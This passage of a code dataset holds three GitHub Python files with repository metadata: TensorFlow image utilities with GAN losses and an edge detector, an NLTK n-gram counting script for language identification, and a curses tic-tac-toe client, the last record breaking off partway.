   interval = (2 * sigma + 1.0) / size\n    x = np.linspace(-sigma-interval/2, sigma+interval/2, size+1)\n    ker1d = np.diff(st.norm.cdf(x))\n    kernel_raw = np.sqrt(np.outer(ker1d, ker1d))\n    kernel = kernel_raw / kernel_raw.sum()\n    out_filter = np.array(kernel, dtype=np.float32)\n    out_filter = out_filter.reshape((size, size, 1, 1))\n    # out_filter = np.repeat(out_filter, [1, 1, inchannels, 1])\n    return out_filter\n\ndef tf_make_guass_var(size, attention_gamma, inchannels=1, outchannels=1):\n    kernel = gauss_kernel(size, attention_gamma, inchannels, outchannels)\n    var = tf.Variable(tf.convert_to_tensor(kernel))\n    return var\n\ndef spatial_discounting_mask(mask, attention_gamma=1.0/40, hsize=64,  iters=9):\n    eps = 1e-5\n    kernel = tf_make_guass_var(hsize, attention_gamma)\n    init = 1-mask\n    mask_priority = None\n    mask_priority_pre = None\n    for i in range(iters):\n        mask_priority = tf.nn.conv2d(init, kernel, strides=[1,1,1,1], padding='SAME')\n        mask_priority = mask_priority * mask\n        if i == iters-2:\n            mask_priority_pre = mask_priority\n        init = mask_priority + (1-mask)\n    mask_priority = mask_priority_pre / (mask_priority+eps)\n    return mask_priority\n\n\n\n################  Loss function zoo  ####################\ndef gan_ls_loss(pos, neg, value=1., name='gan_ls_loss'):\n    \"\"\"\n    gan with least-square loss\n    \"\"\"\n    with tf.variable_scope(name):\n        l2_pos = tf.reduce_mean(tf.squared_difference(pos, value))\n        l2_neg = tf.reduce_mean(tf.square(neg))\n        # scalar_summary('pos_l2_avg', l2_pos)\n        # scalar_summary('neg_l2_avg', l2_neg)\n        d_loss = tf.add(.5 * l2_pos, .5 * l2_neg)\n        g_loss = tf.reduce_mean(tf.squared_difference(neg, value))\n        # scalar_summary('d_loss', d_loss)\n        # scalar_summary('g_loss', g_loss)\n    return g_loss, d_loss\n\n\ndef gan_wgan_loss(pos, neg, name='gan_wgan_loss'):\n    \"\"\"\n    wgan loss function for GANs.\n    - Wasserstein GAN: https://arxiv.org/abs/1701.07875\n    \"\"\"\n    with tf.variable_scope(name):\n        d_loss = tf.reduce_mean(neg-pos)\n        g_loss = -tf.reduce_mean(neg)\n        # scalar_summary('d_loss', d_loss)\n        # scalar_summary('g_loss', g_loss)\n        # scalar_summary('pos_value_avg', tf.reduce_mean(pos))\n        # scalar_summary('neg_value_avg', tf.reduce_mean(neg))\n    return g_loss, d_loss\n\ndef max_downsampling(x, ratio=2):\n    iters = math.log2(ratio)\n    assert int(iters) == iters\n    for _ in range(int(iters)):\n        x = tf.contrib.layers.max_pool2d(x, 2, padding='SAME')\n    return x\n\ndef mask_fill(mask, k = 16):\n    gridy = [i for i in range(0, mask.shape[1], k)]\n    gridx = [i for i in range(0, mask.shape[2], k)]\n    grid = np.meshgrid(gridy, gridx)\n    tmp_mask = np.zeros((mask.shape[1:3]))\n    tmp_mask[tuple(grid)] = 1.0\n    tmp_mask = np.expand_dims(tmp_mask, axis=2)\n    tmp_mask = [tmp_mask for i in range(mask.shape[0])]\n    tmp_mask = np.array(tmp_mask)\n    sparse_points = tf.constant(tmp_mask, dtype=tf.float32)\n    mask = mask + sparse_points\n    return mask, sparse_points\n\ndef edge_detector(img_tensor, minRate=0.2, maxRate=0.2, \n             preserve_size=True, remove_high_val=False, return_raw_edges=False):\n    \n    MAX = 1    \n    kernel_size = 3\n    sigma  = 1.2\n    def Gaussian_Filter(kernel_size=kernel_size, sigma=sigma): \n        k = (kernel_size-1)//2 \n        x, y = np.meshgrid(np.linspace(-k, k, kernel_size), np.linspace(-k, k, kernel_size))\n        g = np.exp(-(x * x + y * y) / (2 * sigma**2)) / (2 * np.pi * sigma ** 2)\n        return np.asarray(g).reshape(kernel_size,kernel_size,1,1)\n\n    gaussian_filter = tf.constant(Gaussian_Filter(kernel_size, sigma), tf.float32)                 #STEP-1\n    h_filter = tf.reshape(tf.constant([[-1,0,1],[-2,0,2],[-1,0,1]], tf.float32), [3,3,1,1])    #STEP-2\n    v_filter = tf.reshape(tf.constant([[1,2,1],[0,0,0],[-1,-2,-1]], tf.float32), [3,3,1,1])    #STEP-2\n\n    np_filter_0 = np.zeros((3,3,1,2))\n    np_filter_0[1,0,0,0], np_filter_0[1,2,0,1] = 1,1 ### Left & Right\n    # print(np_filter_0)\n    filter_0 = tf.constant(np_filter_0, tf.float32)\n    np_filter_90 = np.zeros((3,3,1,2))\n    np_filter_90[0,1,0,0], np_filter_90[2,1,0,1] = 1,1 ### Top & Bottom\n    filter_90 = tf.constant(np_filter_90, tf.float32)\n    np_filter_45 = np.zeros((3,3,1,2))\n    np_filter_45[0,2,0,0], np_filter_45[2,0,0,1] = 1,1 ### Top-Right & Bottom-Left\n    filter_45 = tf.constant(np_filter_45, tf.float32)\n    np_filter_135 = np.zeros((3,3,1,2))\n    np_filter_135[0,0,0,0], np_filter_135[2,2,0,1] = 1,1 ### Top-Left & Bottom-Right\n    filter_135 = tf.constant(np_filter_135, tf.float32)\n        \n    np_filter_sure = np.ones([3,3,1,1]); np_filter_sure[1,1,0,0] = 0\n    filter_sure = tf.constant(np_filter_sure, tf.float32)\n    border_paddings = tf.constant([[0,0],[1,1],[1,1],[0,0]])\n\n    def Border_Padding(x, pad_width):\n        for _ in range(pad_width): x = tf.pad(x, border_paddings, 'SYMMETRIC')\n        return x\n\n    def FourAngles(d):\n        d0   = tf.to_float(tf.greater_equal(d,157.5))+tf.to_float(tf.less(d,22.5))\n        d45  = tf.to_float(tf.greater_equal(d,22.5))*tf.to_float(tf.less(d,67.5))\n        d90  = tf.to_float(tf.greater_equal(d,67.5))*tf.to_float(tf.less(d,112.5))\n        d135 = tf.to_float(tf.greater_equal(d,112.5))*tf.to_float(tf.less(d,157.5))\n\n        return (d0,d45,d90,d135)\n\n    img_tensor = (img_tensor/tf.reduce_max(img_tensor))*MAX\n    if preserve_size: img_tensor = Border_Padding(img_tensor, (kernel_size-1)//2)\n\n    x_gaussian = tf.nn.convolution(img_tensor, gaussian_filter, padding='VALID')\n    if remove_high_val: x_gaussian = tf.clip_by_value(x_gaussian, 0, MAX/2)\n    \n    if preserve_size: x_gaussian = Border_Padding(x_gaussian, 1)\n    Gx = tf.nn.convolution(x_gaussian, h_filter, padding='VALID')\n    Gy = tf.nn.convolution(x_gaussian, v_filter, padding='VALID')\n    G = tf.sqrt(tf.square(Gx) + tf.square(Gy))\n    BIG_PHI = tf.atan2(Gy,Gx)\n    BIG_PHI    = (BIG_PHI*180/np.pi)%180         ### Convert from Radian to Degree\n    D_0,D_45,D_90,D_135 = FourAngles(BIG_PHI)    ### Round the directions to 0, 45, 90, 135 (only take the masks)\n    \n    targetPixels_0 = tf.nn.convolution(G, filter_0, padding='SAME')\n    isGreater_0 = tf.to_float(tf.greater(G*D_0, targetPixels_0))\n    isMax_0 = isGreater_0[:,:,:,0:1]*isGreater_0[:,:,:,1:2]\n    \n    targetPixels_90 = tf.nn.convolution(G, filter_90, padding='SAME')\n    isGreater_90 = tf.to_float(tf.greater(G*D_90, targetPixels_90))\n    isMax_90 = isGreater_90[:,:,:,0:1]*isGreater_90[:,:,:,1:2]\n    \n    targetPixels_45 = tf.nn.convolution(G, filter_45, padding='SAME')\n    isGreater_45 = tf.to_float(tf.greater(G*D_45, targetPixels_45))\n    isMax_45 = isGreater_45[:,:,:,0:1]*isGreater_45[:,:,:,1:2]\n    \n    targetPixels_135 = tf.nn.convolution(G, filter_135, padding='SAME')\n    isGreater_135 = tf.to_float(tf.greater(G*D_135, targetPixels_135))\n    isMax_135 = isGreater_135[:,:,:,0:1]*isGreater_135[:,:,:,1:2]\n    \n    edges_raw = G*(isMax_0 + isMax_90 + isMax_45 + isMax_135)\n    edges_raw = tf.clip_by_value(edges_raw, 0, MAX)\n    \n    edges_sure = tf.to_float(tf.greater_equal(edges_raw, maxRate))\n    edges_weak = tf.to_float(tf.less(edges_raw, maxRate))*tf.to_float(tf.greater_equal(edges_raw, minRate))\n    \n    edges_connected = tf.nn.convolution(edges_sure, filter_sure, padding='SAME')*edges_weak\n    for _ in range(10): edges_connected = tf.nn.convolution(edges_connected, filter_sure, padding='SAME')*edges_weak\n    \n    edges_final = edges_sure + tf.clip_by_value(edges_connected,0,MAX)\n    mask = tf.to_float(tf.greater(edges_final, 0.2))\n    # edges_final = edges_final * mask\n    mask = tf.where(tf.greater(mask*255, 200), tf.ones_like(mask)*255, tf.zeros_like(mask))\n    mask = mask / 255\n    # embed()\n    return mask", "repo_name": "lewkesy/contour2img", "sub_path": "src/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 14215, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "signal.signal", "line_number": 26, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 27, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 31, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 32, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 48, "usage_type": "call"}, {"api_name": "re.match", "line_number": 50, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 150, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.gradients", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.ones_like", "line_number": 163, "usage_type": "call"}, {"api_name": "tensorflow.sqrt", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tensorflow.image", "line_number": 183, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 186, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 186, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 186, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 187, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 188, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 220, "usage_type": "call"}, {"api_name": "scipy.stats.norm.cdf", "line_number": 220, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 220, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 220, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 223, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 230, "usage_type": "call"}, {"api_name": "tensorflow.convert_to_tensor", "line_number": 230, "usage_type": "call"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 240, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 240, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 255, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 256, "usage_type": "call"}, {"api_name": "tensorflow.squared_difference", "line_number": 256, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 257, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 257, "usage_type": "call"}, {"api_name": "tensorflow.add", "line_number": 260, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 261, "usage_type": "call"}, {"api_name": "tensorflow.squared_difference", "line_number": 261, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 272, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 273, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 274, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 282, "usage_type": "call"}, {"api_name": "tensorflow.contrib.layers.max_pool2d", "line_number": 285, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 285, "usage_type": "attribute"}, {"api_name": "numpy.meshgrid", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 296, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 297, "usage_type": "attribute"}, {"api_name": "numpy.meshgrid", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 310, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 311, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 313, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 313, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 314, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 314, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 314, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 315, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 317, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 320, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 320, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 321, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 323, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 323, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 324, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 326, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 326, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 327, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 329, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 329, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 331, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 332, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 332, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 333, "usage_type": "call"}, {"api_name": "tensorflow.pad", "line_number": 336, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 340, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 340, "usage_type": "call"}, {"api_name": "tensorflow.less", "line_number": 340, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.less", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 342, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 342, "usage_type": "call"}, {"api_name": "tensorflow.less", "line_number": 342, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 343, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 343, "usage_type": "call"}, {"api_name": "tensorflow.less", "line_number": 343, "usage_type": "call"}, {"api_name": "tensorflow.reduce_max", "line_number": 347, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 350, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 350, "usage_type": "attribute"}, {"api_name": "tensorflow.clip_by_value", "line_number": 351, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 354, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 354, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.convolution", "line_number": 355, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 355, "usage_type": "attribute"}, {"api_name": "tensorflow.sqrt", "line_number": 356, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 356, "usage_type": "call"}, {"api_name": "tensorflow.atan2", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 358, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.convolution", "line_number": 361, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 361, "usage_type": "attribute"}, {"api_name": "tensorflow.to_float", "line_number": 362, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 362, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 365, "usage_type": "attribute"}, {"api_name": "tensorflow.to_float", "line_number": 366, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 366, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 369, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 369, "usage_type": "attribute"}, {"api_name": "tensorflow.to_float", "line_number": 370, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 370, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 373, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 373, "usage_type": "attribute"}, {"api_name": "tensorflow.to_float", "line_number": 374, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 374, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 378, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 380, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 380, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 381, "usage_type": "call"}, {"api_name": "tensorflow.less", "line_number": 381, "usage_type": "call"}, {"api_name": "tensorflow.greater_equal", "line_number": 381, "usage_type": "call"}, {"api_name": "tensorflow.nn.convolution", "line_number": 383, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 383, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.convolution", "line_number": 384, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 384, "usage_type": "attribute"}, {"api_name": "tensorflow.clip_by_value", "line_number": 386, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 387, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 387, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 389, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 389, "usage_type": "call"}, {"api_name": "tensorflow.ones_like", "line_number": 389, "usage_type": "call"}, {"api_name": "tensorflow.zeros_like", "line_number": 389, "usage_type": "call"}]}
{"seq_id": "17927106459", "text": "# Team Members:\n# Blake Oberlander (bho180000)\n# Sharar Siddiqui (srs200003)\n\nfrom nltk import word_tokenize, ngrams\nfrom collections import Counter\nimport pickle\n\n\ndef train(filename):\n    \"\"\"Loads in the training data for a given language\n    returns dictionary of unigram and bigram\"\"\"\n\n    with open(filename, 'r', encoding='utf8') as f:\n        tokens = word_tokenize(f.read().replace('\\n', ' '))\n\n    unigrams = [(token,) for token in tokens]\n    bigrams = list(ngrams(tokens, 2))\n\n    # count unigrams and bigrams\n    unigram_count = dict(Counter((\n        unigram\n        for\n        unigram in unigrams\n    )))\n\n    bigram_count = dict(Counter((\n        bigram\n        for\n        bigram in bigrams\n    )))\n\n    return unigram_count, bigram_count\n\n\ndef pickle_save(language, unigrams, bigrams):\n    \"\"\"Pickles unigram and bigrams to individual files,\n    Uses the language parameter to specify the language\"\"\"\n    pickle.dump(unigrams, open(f\"{language}-unigrams.pickle\", 'wb'))\n    pickle.dump(bigrams, open(f\"{language}-bigrams.pickle\", 'wb'))\n\n\nif __name__ == '__main__':\n    # find the unigram and bigram counts for each language\n    english_uni, english_bi = train('ngram_files/LangId.train.English')\n    french_uni, french_bi = train('ngram_files/LangId.train.French')\n    italian_uni, italian_bi = train('ngram_files/LangId.train.Italian')\n\n    # save\n    print('Starting to pickle 3 language training data')\n    pickle_save('english', english_uni, english_bi)\n    pickle_save('french', french_uni, french_bi)\n    pickle_save('italian', italian_uni, italian_bi)\n    print('Finished pickling output')\n    exit(0)\n", "repo_name": "shararrs/NLP", "sub_path": "Portfolio_Assignment_5/program1.py", "file_name": "program1.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nltk.word_tokenize", "line_number": 15, "usage_type": "call"}, {"api_name": "nltk.ngrams", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 21, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 27, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 39, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "2050290677", "text": "import curses\nimport logging\n\nfrom client.game import ClientGame\nfrom common.socket_wrapper import SocketWrapper\nfrom server.game.tic_tac_toe import TicTacToe as ServerTicTacToe, Board, Move, Finish, Sign\n\nlogger = logging.getLogger(__name__)\n\n\nclass TicTacToe(ClientGame):\n    def __init__(self, server: SocketWrapper):\n        super().__init__(server)\n        self._board = Board()\n        self._display = Display(ServerTicTacToe.user_sign, self._board)\n\n    @property\n    def server_game(self):\n        return ServerTicTacToe\n\n    def run(self):\n        self._display.start()\n        self._display.display_empty_grid()\n        self._display.display_title('You are playing with {}'.format(ServerTicTacToe.user_sign))\n        while True:\n            self._display.display_message('It is your turn')\n            self._display.input()\n            self._display.display_message('Awaiting information from server')\n            self._server.send(Move(self._board.board))\n\n            rcv = self._server.receive()\n            if isinstance(rcv, Move):\n                self._board.board = rcv.payload\n                self._display.fill_grid()\n            elif isinstance(rcv, Finish):\n                self._display.display_title('Result: {}'.format(rcv.payload.name))\n                self._display.quit()\n                break\n\n        self._display.exit()\n\n\nclass Display:\n    title_y = 0\n    title_x = 5\n\n    message_y = 2\n    message_x = 5\n\n    grid_y = 6\n    grid_x = 10\n\n    def __init__(self, sign, board):\n        self.sign = sign\n        self.board = board\n        self.stdscr = None\n        self._title = ''\n        self._message = ''\n\n    def start(self):\n        self.stdscr = curses.initscr()\n        curses.noecho()  # don't display keys automatically\n        curses.cbreak()  # no enter required\n        self.stdscr.keypad(True)  # handle special characters\n        self.stdscr.leaveok(False)\n\n    def exit(self):\n        curses.nocbreak()\n        self.stdscr.keypad(False)\n        curses.echo()\n        curses.endwin()\n\n    def quit(self):\n        self.display_message('Press q to exit')\n        while True:\n            ch = self.stdscr.getch()\n            if ch == ord('q'):\n                self.exit()\n                break\n\n    def display_title(self, title):\n        self.clear_title()\n        self._title = title\n        self._display_text(self.title_y, self.title_x, title)\n\n    def clear_title(self):\n        self._display_text(self.title_y, self.title_x, ' ' * len(self._title))\n\n    def display_message(self, message):\n        self.clear_message()\n        self._message = message\n        self._display_text(self.message_y, self.message_x, message)\n\n    def clear_message(self):\n        self._display_text(self.message_y, self.message_x, ' ' * len(self._message))\n\n    def _display_text(self, y, x, text):\n        orig_y, orig_x = self.stdscr.getyx()\n        self.stdscr.addstr(y, x, text)\n        self.stdscr.move(orig_y, orig_x)\n        self._refresh()\n\n    def clear(self):\n        self.stdscr.erase()\n\n    def display_empty_grid(self):\n        for y in range(self.grid_y, self.grid_y + 5, 2):\n            for x in range(self.grid_x + 1, self.grid_x + 4, 2):\n                self.stdscr.addch(y, x, curses.ACS_VLINE)\n\n        for y in range(self.grid_y + 1, self.grid_y + 4, 2):\n            for x in range(self.grid_x, self.grid_x + 5):\n                self.stdscr.addch(y, x, curses.ACS_HLINE)\n        curses.curs_set(0)\n\n    def fill_grid(self):\n        board_values = self.board.board\n        for x in range(3):\n            for y in range(3):\n                value = board_values[x][y]\n                if value != Sign.empty:\n                    self.stdscr.addch(self._y_to_curses(y), self._x_to_curses(x), str(value))\n        self._refresh()\n\n    def _refresh(self):\n        self.stdscr.refresh()\n\n    def input(self):\n        curses.curs_set(2)\n        x, y = 1, 1\n        self.stdscr.move(self._y_to_curses(y), self._x_to_curses(x))\n        self._refresh()\n        while True:\n            ch = self.stdscr.getch()\n            if ch in [curses.KEY_UP, curses.KEY_DOWN, curses.KEY_LEFT, curses.KEY_RIGHT]:\n                self._move(ch)\n            elif ch in [curses.KEY_ENTER, ord('\\n')]:\n                if self._put():\n                    break\n            else:\n                logger.warn('Unknown key {}'.format(ch))\n\n    def _move(self, ch):\n        x, y = self._xy_from_curses()\n        if ch == curses.KEY_LEFT and x > 0:\n            x -= 1\n        elif ch == curses.KEY_RIGHT and x < 2:\n            x += 1\n        elif ch == curses.KEY_UP and y > 0:\n            y -= 1\n        elif ch == curses.KEY_DOWN and y < 2:\n            y += 1\n        self.stdscr.move(self._y_to_curses(y), self._x_to_curses(x))\n        self._refresh()\n\n    def _put(self):\n        x, y = self._xy_from_curses()\n        if self.board.board[x][y] == Sign.empty:\n            self.board.put(x, y, self.sign)\n            curses.curs_set(0)\n            self.fill_grid()\n            return True\n        return False\n\n    def _y_to_curses(self, y):\n        return int(self.grid_y + y * 2)\n\n    def _x_to_curses(self, x):\n        return int(self.grid_x + x * 2)\n\n    def _xy_from_curses(self):\n        y, x = self.stdscr.getyx()\n        return (x - self.grid_x) // 2, (y - self.grid_y) // 2\n", "repo_name": "jchmura/PiE", "sub_path": "lab3/client/game/tic_tac_toe.py", "file_name": "tic_tac_toe.py", "file_ext": "py", "file_size_in_byte": 5293, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "client.game.ClientGame", "line_number": 11, "usage_type": "name"}, {"api_name": "common.socket_wrapper.SocketWrapper", "line_number": 12, "usage_type": "name"}, {"api_name": "server.game.tic_tac_toe", "line_number": 13, "usage_type": "argument"}, {"api_name": "server.game.tic_tac_toe.Board", "line_number": 14, "usage_type": "call"}, {"api_name": "server.game.tic_tac_toe.TicTacToe.user_sign", "line_number": 15, "usage_type": "attribute"}, {"api_name": "server.game.tic_tac_toe.TicTacToe", "line_number": 15, "usage_type": "name"}, {"api_name": "server.game.tic_tac_toe.TicTacToe", "line_number": 19, "usage_type": "name"}, {"api_name": "server.game.tic_tac_toe.TicTacToe.user_sign", "line_number": 24, "usage_type": "attribute"}, {"api_name": "server.game.tic_tac_toe.TicTacToe", "line_number": 24, "usage_type": "name"}, {"api_name": "server.game.tic_tac_toe.Move", "line_number": 29, "usage_type": "call"}, {"api_name": "server.game.tic_tac_toe.Move", "line_number": 32, "usage_type": "argument"}, {"api_name": "server.game.tic_tac_toe.Finish", "line_number": 35, "usage_type": "argument"}, {"api_name": "curses.initscr", "line_number": 61, "usage_type": "call"}, {"api_name": "curses.noecho", "line_number": 62, "usage_type": "call"}, {"api_name": "curses.cbreak", "line_number": 63, "usage_type": "call"}, {"api_name": "curses.nocbreak", "line_number": 68, "usage_type": "call"}, {"api_name": "curses.echo", "line_number": 70, "usage_type": "call"}, {"api_name": "curses.endwin", "line_number": 71, "usage_type": "call"}, {"api_name": "curses.ACS_VLINE", "line_number": 109, "usage_type": "attribute"}, {"api_name": "curses.ACS_HLINE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "curses.curs_set", "line_number": 114, "usage_type": "call"}, {"api_name": "server.game.tic_tac_toe.Sign.empty", "line_number": 121, "usage_type": "attribute"}, {"api_name": "server.game.tic_tac_toe.Sign", "line_number": 121, "usage_type": "name"}, {"api_name": "curses.curs_set", "line_number": 129, "usage_type": "call"}, {"api_name": "curses.KEY_UP", "line_number": 135, "usage_type": "attribute"}, {"api_name": "curses.KEY_DOWN", "line_number": 135, "usage_type": "attribute"}, {"api_name": "curses.KEY_LEFT", "line_number": 135, "usage_type": "attribute"}, {"api_name": "curses.KEY_RIGHT", "line_number": 135, "usage_type": "attribute"}, {"api_name": "curses.KEY_ENTER", "line_number": 137, "usage_type": "attribute"}, {"api_name": "curses.KEY_LEFT", "line_number": 145, "usage_type": "attribute"}, {"api_name": "curses.KEY_RIGHT", "line_number": 147, "usage_type": "attribute"}, {"api_name": "curses.KEY_UP", "line_number": 149, "usage_type": "attribute"}, {"api_name": "curses.KEY_DOWN", "line_number": 151, "usage_type": "attribute"}, {"api_name": "server.game.tic_tac_toe.Sign.empty", "line_number": 158, "usage_type": "attribute"}, {"api_name": "server.game.tic_tac_toe.Sign", "line_number": 158, "usage_type": "name"}, {"api_name": 